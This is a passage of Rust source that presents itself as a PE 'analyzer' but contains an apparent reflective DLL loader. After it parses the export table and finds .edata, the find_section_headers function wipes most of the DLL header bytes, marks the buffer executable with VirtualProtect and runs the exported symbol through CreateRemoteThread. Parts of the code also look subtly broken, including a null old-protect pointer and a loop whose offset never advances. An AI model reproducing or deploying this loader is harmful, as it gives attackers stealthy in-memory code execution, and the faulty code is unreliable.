pe_analyzer[export_address_table_rva_offset + 2], 105 | pe_analyzer[export_address_table_rva_offset + 1], 106 | pe_analyzer[export_address_table_rva_offset] 107 | ); 108 | 109 | let name_pointer_rva_offset = export_address_table_rva_offset + 0x4; 110 | println!( 111 | " [-] [0x{:04x}] [namePointerRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Export Name Pointer Table)", 112 | name_pointer_rva_offset, 113 | pe_analyzer[name_pointer_rva_offset + 3], 114 | pe_analyzer[name_pointer_rva_offset + 2], 115 | pe_analyzer[name_pointer_rva_offset + 1], 116 | pe_analyzer[name_pointer_rva_offset] 117 | ); 118 | 119 | let ordinal_table_rva_offset = name_pointer_rva_offset + 0x4; 120 | println!( 121 | " [-] [0x{:04x}] [ordinalTableRVA] : 0x{:02X}{:02X}{:02X}{:02X} (RVA of the Ordinal Table)", 122 | ordinal_table_rva_offset, 123 | pe_analyzer[ordinal_table_rva_offset + 3], 124 | pe_analyzer[ordinal_table_rva_offset + 2], 125 | pe_analyzer[ordinal_table_rva_offset + 1], 126 | pe_analyzer[ordinal_table_rva_offset] 127 | ); 128 | 129 | let export_name_pointer_rva = ((pe_analyzer[name_pointer_rva_offset + 3] as usize) << 24) 130 | | ((pe_analyzer[name_pointer_rva_offset + 2] as usize) << 16) 131 | | ((pe_analyzer[name_pointer_rva_offset + 1] as usize) << 8) 132 | | (pe_analyzer[name_pointer_rva_offset] as usize); 133 | 134 | let edata_virtual_address = ((pe_analyzer[virtual_address_offset + 3] as usize) << 24) 135 | | ((pe_analyzer[virtual_address_offset + 2] as usize) << 16) 136 | | ((pe_analyzer[virtual_address_offset + 1] as usize) << 8) 137 | | (pe_analyzer[virtual_address_offset] as usize); 138 | 139 | let export_name_pointer_file_offset = 140 | (export_name_pointer_rva - edata_virtual_address) + pointer_to_raw_data; 141 | 142 | println!( 143 | " [-] [0x{:04x}] [exportNamePointerRVA] : 0x{:02X}{:02X}{:02X}{:02X}", 144 | export_name_pointer_file_offset, 145 | pe_analyzer[export_name_pointer_file_offset + 3], 146 | pe_analyzer[export_name_pointer_file_offset + 2], 147 | pe_analyzer[export_name_pointer_file_offset + 1], 148 | pe_analyzer[export_name_pointer_file_offset] 149 | ); 150 | 151 | let symbol_name_rva = ((pe_analyzer[export_name_pointer_file_offset + 3] as usize) << 24) 152 | | ((pe_analyzer[export_name_pointer_file_offset + 2] as usize) << 16) 153 | | ((pe_analyzer[export_name_pointer_file_offset + 1] as usize) << 8) 154 | | (pe_analyzer[export_name_pointer_file_offset] as usize); 155 | 156 | let symbol_file_offset = (symbol_name_rva - edata_virtual_address) + pointer_to_raw_data; 157 | let mut symbol_name = [0u8; MAX_PATH]; 158 | 159 | for i in 0..MAX_PATH { 160 | if pe_analyzer[symbol_file_offset + i] == 0 { 161 | break; 162 | } 163 | symbol_name[i] = pe_analyzer[symbol_file_offset + i]; 164 | } 165 | 166 | let symbol_name_str = String::from_utf8_lossy(&symbol_name[..]); 167 | println!( 168 | " [-] [0x{:04x}] [symbolName] : {}", 169 | symbol_file_offset, symbol_name_str 170 | ); 171 | 172 | let export_address_table_rva = ((pe_analyzer[export_address_table_rva_offset + 3] as usize) 173 | << 24) 174 | | ((pe_analyzer[export_address_table_rva_offset + 2] as usize) << 16) 175 | | ((pe_analyzer[export_address_table_rva_offset + 1] as usize) << 8) 176 | | (pe_analyzer[export_address_table_rva_offset] as usize); 177 | 178 | println!( 179 | " Calculation = (0x{:X} - 0x{:X}) + 0x{:X}", 180 | export_address_table_rva, edata_virtual_address, pointer_to_raw_data 181 | ); 182 | 183 | let symbol_rva_offset = 184 | (export_address_table_rva - edata_virtual_address) + pointer_to_raw_data; 185 | let symbol_rva = ((pe_analyzer[symbol_rva_offset + 3] as usize) << 24) 186 | | ((pe_analyzer[symbol_rva_offset + 2] as usize) << 16) 187 | | ((pe_analyzer[symbol_rva_offset + 1] as usize) << 8) 188 | | (pe_analyzer[symbol_rva_offset] as usize); 189 | println!( 190 | " [-] [0x{:04x}] [symbolRVA] : 0x{:08X}", 191 | symbol_rva_offset, symbol_rva 192 | ); 193 | symbol_rva 194 | } 195 | 196 | 197 | pub fn find_section_headers( 198 | first_section_header_offset: usize, 199 | no_of_section: usize, 200 | pe_analyzer: &[u8], 201 | ) { 202 | println!("\n [Section Header]"); 203 | 204 | println!( 205 | "\n [Sections headers start at: 0x{:04x}]", 206 | first_section_header_offset 207 | ); 208 | 209 | // table header 210 | println!( 211 | "{:<8} {:<10} {:<12} {:<15} {:<14} {:<17} {:<20} {:<20} {:<19} {:<15}", 212 | "Offset", 213 | "Name", 214 | "VirtualSize", 215 | "VirtualAddress", 216 | "SizeOfRawData", 217 | "PointerToRawData", 218 | "PointerToRelocations", 219 | "PointerToLinenumbers", 220 | "NumberOfLinenumbers", 221 | "Characteristics" 222 | ); 223 | println!("{}", "-".repeat(145)); 224 | 225 | let mut next_section_header_offset = first_section_header_offset; 226 | 227 | for _ in 0..no_of_section { 228 | // Extract the section name (8 bytes) 229 | let header_name = String::from_utf8_lossy( 230 | &pe_analyzer[next_section_header_offset..next_section_header_offset + 8], 231 | ) 232 | .trim_end_matches('\0') 233 | .to_string(); 234 | 235 | // Extract VirtualSize (4 bytes) 236 | let virtual_size_offset = next_section_header_offset + 0x8; 237 | let virtual_size = u32::from_le_bytes([ 238 | pe_analyzer[virtual_size_offset], 239 | pe_analyzer[virtual_size_offset + 1], 240 | pe_analyzer[virtual_size_offset + 2], 241 | pe_analyzer[virtual_size_offset + 3], 242 | ]); 243 | 244 | // Extract VirtualAddress (4 bytes) 245 | let virtual_address_offset = virtual_size_offset + 0x4; 246 | let virtual_address = u32::from_le_bytes([ 247 | pe_analyzer[virtual_address_offset], 248 | pe_analyzer[virtual_address_offset + 1], 249 | pe_analyzer[virtual_address_offset + 2], 250 | pe_analyzer[virtual_address_offset + 3], 251 | ]); 252 | 253 | // Extract SizeOfRawData (4 bytes) 254 | let size_of_raw_data_offset = virtual_address_offset + 0x4; 255 | let size_of_raw_data = u32::from_le_bytes([ 256 | pe_analyzer[size_of_raw_data_offset], 257 | pe_analyzer[size_of_raw_data_offset + 1], 258 | pe_analyzer[size_of_raw_data_offset + 2], 259 | pe_analyzer[size_of_raw_data_offset + 3], 260 | ]); 261 | 262 | // Extract PointerToRawData (4 bytes) 263 | let pointer_to_raw_data_offset = size_of_raw_data_offset + 0x4; 264 | let pointer_to_raw_data = u32::from_le_bytes([ 265 | pe_analyzer[pointer_to_raw_data_offset], 266 | pe_analyzer[pointer_to_raw_data_offset + 1], 267 | pe_analyzer[pointer_to_raw_data_offset + 2], 268 | pe_analyzer[pointer_to_raw_data_offset + 3], 269 | ]); 270 | 271 | // Extract PointerToRelocations (4 bytes) 272 | let pointer_to_relocations_offset = pointer_to_raw_data_offset + 0x4; 273 | let pointer_to_relocations = u32::from_le_bytes([ 274 | pe_analyzer[pointer_to_relocations_offset], 275 | pe_analyzer[pointer_to_relocations_offset + 1], 276 | pe_analyzer[pointer_to_relocations_offset + 2], 277 | pe_analyzer[pointer_to_relocations_offset + 3], 278 | ]); 279 | 280 | // Extract PointerToLinenumbers (4 bytes) 281 | let pointer_to_linenumbers_offset = pointer_to_relocations_offset + 0x4; 282 | let pointer_to_linenumbers = u32::from_le_bytes([ 283 | pe_analyzer[pointer_to_linenumbers_offset], 284 | pe_analyzer[pointer_to_linenumbers_offset + 1], 285 | pe_analyzer[pointer_to_linenumbers_offset + 2], 286 | pe_analyzer[pointer_to_linenumbers_offset + 3], 287 | ]); 288 | 289 | // Extract NumberOfLinenumbers (4 bytes) 290 | let number_of_linenumbers_offset = pointer_to_linenumbers_offset + 0x4; 291 | let number_of_linenumbers = u32::from_le_bytes([ 292 | pe_analyzer[number_of_linenumbers_offset], 293 | pe_analyzer[number_of_linenumbers_offset + 1], 294 | pe_analyzer[number_of_linenumbers_offset + 2], 295 | pe_analyzer[number_of_linenumbers_offset + 3], 296 | ]); 297 | 298 | // Extract Characteristics (4 bytes) 299 | let characteristics_offset = number_of_linenumbers_offset + 0x4; 300 | let characteristics = u32::from_le_bytes([ 301 | pe_analyzer[characteristics_offset], 302 | pe_analyzer[characteristics_offset + 1], 303 | pe_analyzer[characteristics_offset + 2], 304 | pe_analyzer[characteristics_offset + 3], 305 | ]); 306 | 307 | // Print the row for this section 308 | println!( 309 | "{:<8x} {:<10} {:<12x} {:<15x} {:<14x} {:<17x} {:<20x} {:<20x} {:<19x} {:<15x}", 310 | next_section_header_offset, 311 | header_name, 312 | virtual_size, 313 | virtual_address, 314 | size_of_raw_data, 315 | pointer_to_raw_data, 316 | pointer_to_relocations, 317 | pointer_to_linenumbers, 318 | number_of_linenumbers, 319 | characteristics 320 | ); 321 | 322 | // Existing logic for .edata section 323 | if header_name.contains(".edata") { 324 | let pointer_to_raw_data = u32::from_le_bytes([ 325 | pe_analyzer[pointer_to_raw_data_offset], 326 | pe_analyzer[pointer_to_raw_data_offset + 1], 327 | pe_analyzer[pointer_to_raw_data_offset + 2], 328 | pe_analyzer[pointer_to_raw_data_offset + 3], 329 | ]); 330 | let symbol_rva = find_export_directory_info( 331 | pointer_to_raw_data as usize, 332 | virtual_address_offset, 333 | pe_analyzer, 334 | ); 335 | 336 | let mut temp_section_header_offset = first_section_header_offset; 337 | println!( 338 | "temp_section_header_offset value: {:#?}", 339 | temp_section_header_offset 340 | ); 341 | 342 | for _ in 0..11 { 343 | let section_virtual_address_offset = first_section_header_offset + 0xC; 344 | 345 | let section_virtual_address = u32::from_le_bytes([ 346 | pe_analyzer[section_virtual_address_offset], 347 | pe_analyzer[section_virtual_address_offset + 1], 348 | pe_analyzer[section_virtual_address_offset + 2], 349 | pe_analyzer[section_virtual_address_offset + 3], 350 | ]); 351 | let section_size_of_raw_data_offset = section_virtual_address_offset + 0x4; 352 | 353 | let section_size_of_raw_data = u32::from_le_bytes([ 354 | pe_analyzer[section_size_of_raw_data_offset], 355 | pe_analyzer[section_size_of_raw_data_offset + 1], 356 | pe_analyzer[section_size_of_raw_data_offset + 2], 357 | pe_analyzer[section_size_of_raw_data_offset + 3], 358 | ]); 359 | let section_pointer_to_raw_data_offset = section_size_of_raw_data_offset + 0x4; 360 | 361 | let section_pointer_to_raw_data = u32::from_le_bytes([ 362 | pe_analyzer[section_pointer_to_raw_data_offset], 363 | pe_analyzer[section_pointer_to_raw_data_offset + 1], 364 | pe_analyzer[section_pointer_to_raw_data_offset + 2], 365 | pe_analyzer[section_pointer_to_raw_data_offset + 3], 366 | ]); 367 | 368 | if symbol_rva > section_virtual_address as usize 369 | && symbol_rva < (section_virtual_address + section_size_of_raw_data) as usize 370 | { 371 | let symbol_file_offset = (symbol_rva - section_virtual_address as usize) 372 | + section_pointer_to_raw_data as usize; 373 | println!( 374 | " [*] [0x{:04x}] [symbolFileOffset] : 0x{:08X}", 375 | symbol_rva, symbol_file_offset 376 | ); 377 | 378 | let mut pe_analyzer_executable_buffer: Vec = 379 | vec![0u8; pe_analyzer.len()]; 380 | pe_analyzer_executable_buffer 381 | .copy_from_slice(&pe_analyzer[..pe_analyzer.len()]); 382 | 383 | println!( 384 | "------------------------ boxreflectDllExectuableBuffer: 0x{:x}", 385 | pe_analyzer_executable_buffer.as_ptr() as usize 386 | ); 387 | 388 | for i in 0..0x84 { 389 | if i == 0x3c { 390 | continue; 391 | } 392 | pe_analyzer_executable_buffer[i] = 0; 393 | } 394 | 395 | pe_analyzer_executable_buffer[0x80] = 0x23; 396 | pe_analyzer_executable_buffer[0x81] = 0x12; 397 | 398 | let fl_old_protect: u32 = 0; 399 | 400 | unsafe { 401 | VirtualProtect( 402 | pe_analyzer_executable_buffer.as_mut_ptr() as *mut _, 403 | pe_analyzer.len(), 404 | PAGE_EXECUTE_READ, 405 | fl_old_protect.clone() as *mut u32, 406 | ); 407 | } 408 | 409 | let symbol_executable_address: LPTHREAD_START_ROUTINE = unsafe { 410 | std::mem::transmute( 411 | (pe_analyzer_executable_buffer.as_ptr() as usize + symbol_file_offset) 412 | as usize, 413 | ) 414 | }; 415 | 416 | let mut lp_thread_id = 0; 417 | let h_thread = unsafe { 418 | CreateRemoteThread( 419 | null_mut(), 420 | null_mut(), 421 | 1024 * 1024, 422 | symbol_executable_address, 423 | null_mut(), 424 | 0, 425 | &mut lp_thread_id, 426 | ) 427 | }; 428 | unsafe { 429 | WaitForSingleObject(h_thread, 0xFFFFFFFF); 430 | } 431 | break; 432 | } 433 | temp_section_header_offset += 0x28; 434 | } 435 | } 436 | next_section_header_offset += 0x28; 437 | } 438 | } 439 | 440 | --------------------------------------------------------------------------------